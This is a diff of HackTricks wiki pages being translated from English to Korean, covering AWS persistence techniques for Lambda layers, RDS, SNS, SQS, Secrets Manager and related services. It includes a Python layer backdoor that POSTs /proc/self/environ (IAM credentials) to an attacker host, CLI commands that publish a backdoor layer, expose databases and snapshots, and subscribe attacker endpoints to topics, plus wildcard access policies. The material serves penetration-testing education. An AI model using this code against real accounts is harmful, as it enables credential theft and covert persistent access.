<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **도용**하고 **수정**하기 위해 만들어졌습니다.
|
||||
|
||||
## References
|
||||
## 참고 문헌
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,28 +4,26 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Lambda 레이어는 **추가 코드를 포함할 수 있는** .zip 파일 아카이브입니다. 레이어는 라이브러리, [사용자 정의 런타임](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), 데이터 또는 구성 파일을 포함할 수 있습니다.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
**함수당 최대 다섯 개의 레이어**를 포함할 수 있습니다. 함수에 레이어를 포함하면 **내용이 실행 환경의 `/opt`** 디렉토리에 추출됩니다.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
**기본적으로**, 생성한 **레이어**는 **귀하의 AWS 계정에만 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 귀하의 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
Python이 lambda에서 사용할 load path는 다음과 같습니다:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
|
||||
Therefore, the requisites are:
|
||||
따라서 요구 사항은 다음과 같습니다:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
@@ -37,46 +35,41 @@ Therefore, the requisites are:
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하십시오)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
그리고 이것은 **람다에서 기본적으로 설치된 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
### 람다 레이어 백도어
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
이 예제에서는 타겟 코드가 **`csv`**를 임포트한다고 가정해 보겠습니다. 우리는 **`csv` 라이브러리의 임포트를 백도어**할 것입니다.
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
이를 위해, 우리는 **`/opt/python/lib/python3.9/site-packages`** 경로에 **`__init__.py`** 파일이 있는 **csv** 디렉토리를 **생성**할 것입니다.\
|
||||
그런 다음, 람다가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\
|
||||
이 파일은 다음을 수행해야 합니다:
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- 우리의 페이로드를 실행
|
||||
- 원래의 csv 라이브러리 로드
|
||||
|
||||
우리는 다음을 통해 두 가지를 모두 수행할 수 있습니다:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
그런 다음, 이 코드를 **`python/lib/python3.9/site-packages/__init__.py`** 경로에 포함하여 zip 파일을 만들고 이를 lambda layer로 추가합니다.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
이 코드는 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)에서 찾을 수 있습니다.
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
통합된 페이로드는 **첫 번째 호출 시 또는 lambda 컨테이너가 재설정된 후 IAM 자격 증명을 서버로 전송합니다** (코드 변경 또는 콜드 람다), 그러나 **다음과 같은 다른 기술**도 통합될 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### 외부 레이어
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
**외부 계정의 lambda layers를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\
|
||||
또한 **lambda가 가질 수 있는 최대 레이어 수는 5개**입니다.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
따라서 이 기술의 다재다능성을 향상시키기 위해 공격자는 다음과 같은 방법을 사용할 수 있습니다:
|
||||
|
||||
- 사용자의 기존 레이어에 백도어를 설치합니다 (외부는 없습니다)
|
||||
- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에 레이어 사용 권한을 부여**하고, **희생자의 Lambda에 레이어를 구성**한 후 **권한을 제거**합니다.
|
||||
- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다** (람다 내부에서 rev shell을 얻는 것을 제외하고)
|
||||
- 희생자는 **`aws lambda list-layers`**를 사용하여 **외부 레이어를 볼 수 없습니다**.
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,34 +4,30 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
### 인스턴스 SSH 키 및 DB 비밀번호 다운로드
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
비밀번호는 아마 변경되지 않을 것이므로, 이를 보유하는 것이 지속성을 위한 좋은 옵션입니다.
|
||||
|
||||
### Backdoor Instances
|
||||
### 백도어 인스턴스
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key**
|
||||
- Expose a port with port knocking with a backdoor
|
||||
- 전통적인 **rootkit** 사용 예
|
||||
- 새로운 **공개 SSH 키** 추가
|
||||
- 백도어와 함께 포트 노킹으로 포트 노출
|
||||
|
||||
### DNS persistence
|
||||
### DNS 지속성
|
||||
|
||||
If domains are configured:
|
||||
도메인이 구성된 경우:
|
||||
|
||||
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
- IP를 가리키는 서브도메인 생성하여 **서브도메인 탈취**를 수행
|
||||
- 도메인에서 **이메일**을 보낼 수 있도록 **SPF** 레코드 생성
|
||||
- **주 도메인 IP를 자신의 IP로 설정**하고, 자신의 IP에서 합법적인 IP로 **MitM** 수행
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,32 +4,24 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
### 인스턴스를 공개적으로 접근 가능하게 만들기: `rds:ModifyDBInstance`
|
||||
|
||||
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개 접근성을 활성화할 수 있습니다**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### DB 내에 관리자 사용자 생성
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
공격자는 **DB 내에 사용자를 생성**할 수 있으므로 마스터 사용자 비밀번호가 수정되더라도 **데이터베이스에 대한 접근을 잃지 않습니다**.
|
||||
|
||||
### 스냅샷 공개 설정
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
### KMS 클라이언트 측 암호화
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화된 키를 파일의 메타데이터에 저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 만약 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다.
|
||||
|
||||
### Using S3 ACLs
|
||||
### S3 ACL 사용하기
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 이를 남용할 수 있습니다(활성화된 경우 또는 공격자가 이를 활성화할 수 있는 경우) S3 버킷에 대한 접근을 유지하기 위해.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,54 +4,48 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### 리소스 정책을 통한 접근
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 자세한 내용은 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Secrets Rotate Lambda를 통한 접근
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다.
|
||||
|
||||
이런 행동을 위한 Lambda 코드의 예시는 다음과 같을 수 있습니다:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,74 +12,66 @@ For more information check:
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
**SNS 주제**를 생성할 때 **누가 읽고 쓸 수 있는지** IAM 정책으로 지정해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
|
||||
다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS 주제에서 읽고 쓸 수 있는 권한을 부여합니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 구독자 생성
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
모든 주제에서 모든 메시지를 계속해서 유출하기 위해 공격자는 **모든 주제에 대한 구독자를 생성할 수 있습니다**.
|
||||
|
||||
**주제가 FIFO 유형**인 경우, **SQS** 프로토콜을 사용하는 구독자만 사용할 수 있습니다.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
### 리소스 정책 사용
|
||||
|
||||
SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
|
||||
다음 정책은 AWS의 모든 사용자에게 **MyTestQueue**라는 큐의 모든 항목에 대한 접근을 허용합니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (어떻게든 다시 추가해야 합니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,14 +12,10 @@ For more information check:
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
스텝 함수를 백도어하여 지속성 트릭을 수행하게 하여 매번 실행될 때마다 악성 단계를 실행하도록 합니다.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
AWS 계정이 스텝 함수를 호출하기 위해 별칭을 사용하는 경우, 별칭을 수정하여 새로운 백도어 버전의 스텝 함수를 사용할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
@@ -12,54 +12,51 @@ For more information access:
|
||||
|
||||
### Assume role token
|
||||
|
||||
